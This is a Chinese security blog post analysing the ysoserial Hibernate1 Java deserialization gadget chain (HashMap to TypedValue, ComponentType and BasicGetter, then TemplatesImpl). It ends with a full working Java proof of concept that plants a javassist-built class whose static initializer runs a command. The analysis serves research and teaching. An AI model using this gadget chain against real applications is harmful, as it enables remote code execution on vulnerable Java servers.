Hibernate反序列化利用链分析(1)

admin 2024年10月14日05:30:34评论18 views字数 9858阅读32分51秒阅读模式

分析了ysoserial一系列利用链后发现每一链都是由一些小的点串起来才构成了有每条完整的利用链的,此次分析的hibernate反序列化利用链也不例外,所以打算以每一个小点为中心写一下hibernate利用链1的分析。

利用链分析

从调用栈中可以看到HashMap反序列化过程中从HashMap#hash中调用hashcode方法从而调用到了hibernate库中TypedValue类的hashcode方法,经过hibernate一系列处理逻辑后,最终反射到了TemplatesImpl#getOutputProperties

Hibernate反序列化利用链分析(1)

根据HashMaphibernate再到TemplatesImpl,将调用栈分为3部分,分别叫做HashMap反序列化点hibernate反射点TemplatesImpl命令执行点,接下来分析一下这三个点的逻辑。

HashMap反序列化点

HashMap#put

首先先了解一下HashMap的key value是怎么维护的

Hibernate反序列化利用链分析(1)

put方法中会求key的哈希,然后调用addEntry方法

Hibernate反序列化利用链分析(1)

调用createEntry方法

Hibernate反序列化利用链分析(1)

createEntry方法中new了一个Entry对象,然后保存在table数组中。

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

HasnMap$Entry构造方法中将,key、value、key的哈希等维护起来

Hibernate反序列化利用链分析(1)

所以,HashMap每添加的key,value,都会生成HasnMap$Entry的对象去保存key、value、key的哈希等,并将每个HasnMap$Entry的对象保存在HashMaptable属性值中

HashMap#writeObject

先看一下HashMap序列化的过程,在默认反序列化之后,如果HashMapsize大于0,则会遍历每一个entrySet0得到的,然后将e的key和value都序列化了。

Hibernate反序列化利用链分析(1)

entrySet0方法中判断HashMapentrySet属性不为空则返回该属性,实际上entrySet属性初始化的时为空,且除了entrySet0方法,并没有其他地方对该属性赋值,所以此处调用HashMap$EntrySet的构造方法。(虽然调试时显示entrySet属性不为空,那是因为调试时toString方法导致的)

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

entrySet0拿到一个HashMap$EntrySet实例后,由于java语法糖,Map.Entry<K,V> e : HashMap$EntrySet这样的增强for循环反编译后其实是在普通的for循环或while循环中调用iterator进行遍历,要求HashMap$EntrySet或其父类必须实现Iterable接口。所以增强for循环中会调用HashMap$EntrySet#iterator

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

最终会拿到一个HashMap$EntryIterator的对象,其中将HashMap的table属性赋给t,然后拿到t中的元素

Hibernate反序列化利用链分析(1)

然后调用HashMap$EntryIterator#next

Hibernate反序列化利用链分析(1)

最后在next方法中拿到table中的元素

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

所以序列化时会从HashMaptable属性中取到每一个HashMap$EntrySet对象,然后将该对象中的key和value都序列化了。

HashMap#readObject

在反序列化时会调用putForCreate方法,将存入的key ,value传参进去

Hibernate反序列化利用链分析(1)

该方法中会调用hash方法对key求哈希

Hibernate反序列化利用链分析(1)

hash方法中会调用key的hashcode方法

Hibernate反序列化利用链分析(1)

所以,将HashMap的table数组中的HashMap$Entrykey属性设置为一个有hashcode方法的类的对象,反序列化的时候就可以调用到该对象的hashcode方法。

hibernate反射点

TypedValue#hashCode中会调用当前对象的hashcode属性的getValue方法,此处需要构造hashcode属性是一个ValueHolder实例。

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

hashcode属性会在反序列化的时候调用initTransients方法赋值:调用ValueHolder的构造方法,传入的参数是一个匿名内部类的实例(TypedValue$1),该实例实现了DeferredInitializer接口的initialize方法。

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

ValueHolder的构造方法中将匿名内部类的实例TypedValue$1赋值给了valueInitializer属性。

Hibernate反序列化利用链分析(1)

ValueHolder#getValue中会调用valueInitializer属性的initialize方法,也就是匿名内部类的实例TypedValue$1initialize方法

Hibernate反序列化利用链分析(1)

我们知道在非静态内部类实例中可以访问外部类实例的属性和方法,这是因为内部类实例中有一个属性(this$0)中保存了外部类实例的的一个引用。在内部类实例中使用外部类实例的属性时可以用外部类名.this.属性名这样的形式。

所以在TypedValue$1initialize方法中会调用外部类实例type属性的getHashCode方法,传入的参数是外部类实例value属性。根据调试知道需要构造这两个属性分别是ComponentTypeTemplatesImpl的实例。

Hibernate反序列化利用链分析(1)

ComponentType#getHashCode中判断propertySpan属性大于i时调用getPropertyValue方法,所以需要给propertySpan属性设置一个数值。

Hibernate反序列化利用链分析(1)

判断传入的component不是Object的数组,就会调用ComponentTypecomponentTuplizer属性的getPropertyValue方法,传的参数还是前边说到的外部类实例value属性。所以需要构造ComponentTypecomponentTuplizer属性是一个PojoComponentTuplizer的对象。

Hibernate反序列化利用链分析(1)

PojoComponentTuplizer没有两个参数的getPropertyValue方法,所以会调用其父类AbstractComponentTuplizer的方法。该方法中调用getters数组的get方法。所以需要构造该数组的第一个元素是BasicPropertyAccessor$BasicGetter静态内部类实例。

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

get方法中就是我们熟悉的反射代码,所以此处需要构造target参数,也就是前边说到的外部类实例value属性是一个TemplatesImpl实例。BasicPropertyAccessor$BasicGetter类的clazz属性是TemplatesImpl.class,propertyName属性是字符串OutputProperties,method属性是一个任意的Method对象,就能反射调用TemplatesImpl#getOutputProperties,至于method属性为什么不是getOutputProperties方法对应的Method对象,poc构造中会讲到。

Hibernate反序列化利用链分析(1)

TemplatesImpl命令执行点

TemplatesImpl#getOutputProperties调用newTransformer方法。

Hibernate反序列化利用链分析(1)

newTransformer方法中调用了getTransletInstance()方法

Hibernate反序列化利用链分析(1)

getTransletInstance()方法中newinstance方法创建实例后就执行了命令,所以_class[_transletIndex]一定是一个和AbstractTranslet类有继承关系的类的Class对象。Class.newinstance会导致类的初始化,所以在会执行静态代码块的代码。

Hibernate反序列化利用链分析(1)

我们看一下_class赋值的地方,当_name不为空且_class为空,才会调用defineTransletClasses()方法。

defineTransletClasses()方法中,会先生成一个类加载器TransletClassLoader,然后通过类加载器的defineClass方法将字节流还原成一个Class对象。

Hibernate反序列化利用链分析(1)

生成类加载器时需要用到_tfactory属性,该属性在反序列化的时候会进行初始化。

Hibernate反序列化利用链分析(1)

由以上分析可知,先创建一个TemplatesImpl对象。然后构造好一个继承自AbstractTranslet的类,该类静态初始化块中有恶意代码执行的语句。把该类的字节数组赋给TemplatesImpl对象的_bytecode属性,且设置_name属性不为空,当反序列化过程中调用到TemplatesImpl#getOutputProperties,就可导致命令执行。

Mmuzz类如下所示

Hibernate反序列化利用链分析(1)

小结

所以梳理了一下各种对象的关系,例如:HashMap实例的table属性的第一个元素的key属性是一个TypedValue实例。TypedValue实例和TemplatesImpl实例的构造就不再赘述,如下脑图所示。

Hibernate反序列化利用链分析(1)

poc构造

yso中的poc不太直观,所以我自己构造了一个poc,按照脑图构造好HashMap即可,虽然比较繁琐但是不难理解。poc如下

  1. package ysoserial.payloads;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.BasicPropertyAccessor;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import ysoserial.payloads.util.Reflections;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;import org.hibernate.tuple.component.PojoComponentTuplizer;public class M_hibernate1 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String BasicGetter ="org.hibernate.property.BasicPropertyAccessor$BasicGetter"; //1.构造TemplatesImpl对象 ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("Mmuzz");//創建一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置创建的Mmuzz类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块,在代码块里执行命令// payload.writeFile("E:/javaenv/ysoserial-master/src/main/java/"); byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=TemplatesImpl.class.getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl// Object templatesImpl = new TemplatesImpl(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl,"hello");//將templatesImpl上的_name字段设置不为空 //2.构造hibernate利用链// 获取TemplatesImpl#getOutputProperties的Method对象 Method method = HashMap.class.getDeclaredMethod("size",new Class[0]);// 创建BasicGetter对象 Constructor basicGettercon =Class.forName(BasicGetter).getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class}); Reflections.setAccessible(basicGettercon);// BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(String.class,method,"fdadf");//反射創建BasicGetter BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(TemplatesImpl.class,method,"OutputProperties");//反射創建BasicGetter //创建Getter数组 Class ppgetter = Class.forName("org.hibernate.property.Getter"); Object arr = Array.newInstance(ppgetter, 1); //数组中放入basicGetter Array.set(arr, 0, basicGetter); //获取Refection工厂 ReflectionFactory REFLECTION_FACTORY = ReflectionFactory.getReflectionFactory(); //创建PojoComponentTuplizer对象 Class pjctclazz = PojoComponentTuplizer.class; Constructor<?> cons = REFLECTION_FACTORY.newConstructorForSerialization(pjctclazz, Object.class.getDeclaredConstructor()); cons.setAccessible(true); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) cons.newInstance(); Field fieldgetter = AbstractComponentTuplizer.class.getDeclaredField("getters"); fieldgetter.setAccessible(true); fieldgetter.set(pojoComponentTuplizer,arr);// //创建ComponentType对象 Constructor<?> ctcons = REFLECTION_FACTORY.newConstructorForSerialization(ComponentType.class,Object.class.getDeclaredConstructor()); ctcons.setAccessible(true); ComponentType componentType = (ComponentType) ctcons.newInstance(); Field ctlfield = ComponentType.class.getDeclaredField("componentTuplizer"); ctlfield.setAccessible(true); ctlfield.set(componentType,pojoComponentTuplizer); Field ppsfield = ComponentType.class.getDeclaredField("propertySpan"); ppsfield.setAccessible(true); ppsfield.set(componentType,1); //创建TypedValue对象 Constructor<?> tvcons = REFLECTION_FACTORY.newConstructorForSerialization(TypedValue.class, Object.class.getDeclaredConstructor()); tvcons.setAccessible(true); TypedValue typedValue = (TypedValue) tvcons.newInstance(); Field fieldtype = TypedValue.class.getDeclaredField("type"); fieldtype.setAccessible(true); fieldtype.set(typedValue,componentType); Field fieldvalue = TypedValue.class.getDeclaredField("value"); fieldvalue.setAccessible(true); fieldvalue.set(typedValue,templatesImpl); //3.创建hashmap利用链 HashMap hashMap =new HashMap(1); hashMap.put("hello","Mmuzz"); Field fieldtable = HashMap.class.getDeclaredField("table"); fieldtable.setAccessible(true); Map.Entry[] array = (Map.Entry[]) fieldtable.get(hashMap); Map.Entry entry = array[0]; Field fieldkey = entry.getClass().getDeclaredField("key"); fieldkey.setAccessible(true); fieldkey.set(entry,typedValue); //模拟反序列化 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("M_hibernate.out")); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("M_hibernate.out")); inputStream.readObject(); }}

其中有1个需要注意的点:BasicPropertyAccessor$BasicGetter#get中反射时只用到了BasicGetter实例的method属性,那么构造时只构造好method属性,其他属性随便填,为什么在反序列化过程中会报异常?

Hibernate反序列化利用链分析(1)

Hibernate反序列化利用链分析(1)

我们知道readResolve方法是反序列化破环单例模式的解决方案。反序列化过程中会调用该类的readResolve方法,用该方法中返回的对象直接替换在反序列化过程中创建的对象,而被创建的对象则会被垃圾回收掉。

BasicPropertyAccessor$BasicGetter类中就有readResolve方法,所以反序列化过程中会调用该方法返回BasicPropertyAccessor#createGetter创建的实例。

Hibernate反序列化利用链分析(1)

如果getGetterorNull方法返回的结果为空,则报异常,表示clazz属性中没有propertyName属性名。

Hibernate反序列化利用链分析(1)

BasicPropertyAccessor#getGetterorNull中先判断getGetterMethod方法返回的Method对象不为空的,则会直接调用BasicPropertyAccessor$BasicGetter生成一个实例并返回。注意构造方法中的第二个参数methodgetGetterMethod得到的结果。

Hibernate反序列化利用链分析(1)

BasicPropertyAccessor#getGetterMethod中会拿到clazz属性的所有方法,遍历每一个方法,然后返回propertyName属性所对应的get方法,如果没有对应的方法就返回空。String类中没有fdadf属性,所以导致异常。

Hibernate反序列化利用链分析(1)

所以poc中在构造BasicPropertyAccessor$BasicGetter实例时并不需要构造方法的第二个参数methodTemplatesImpl#getOutputProperties对应的Method对象,只需要保证第一个参数是TemplatesImpl.class,

第3个参数是字符串OutputProperties就可以,如下所示:

Hibernate反序列化利用链分析(1)

总结

该漏洞就是将利用链分析中的3个点串起来,导致在HashMap实例反序列化时调用到hibernate的反射代码上反射调用到TemplatesImpl#getOutputProperties,最后将TemplatesImpl_bytecode属性(我们构造好的静态代码块中有恶意代码的类的字节数组)还原为Class对象,然后newInstance导致静态代码块中的代码被执行。

参考链接

https://github.com/frohoff/ysoserial/

原文始发于微信公众号(雁行安全团队):Hibernate反序列化利用链分析(1)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日05:30:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hibernate反序列化利用链分析(1)https://cn-sec.com/archives/814860.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息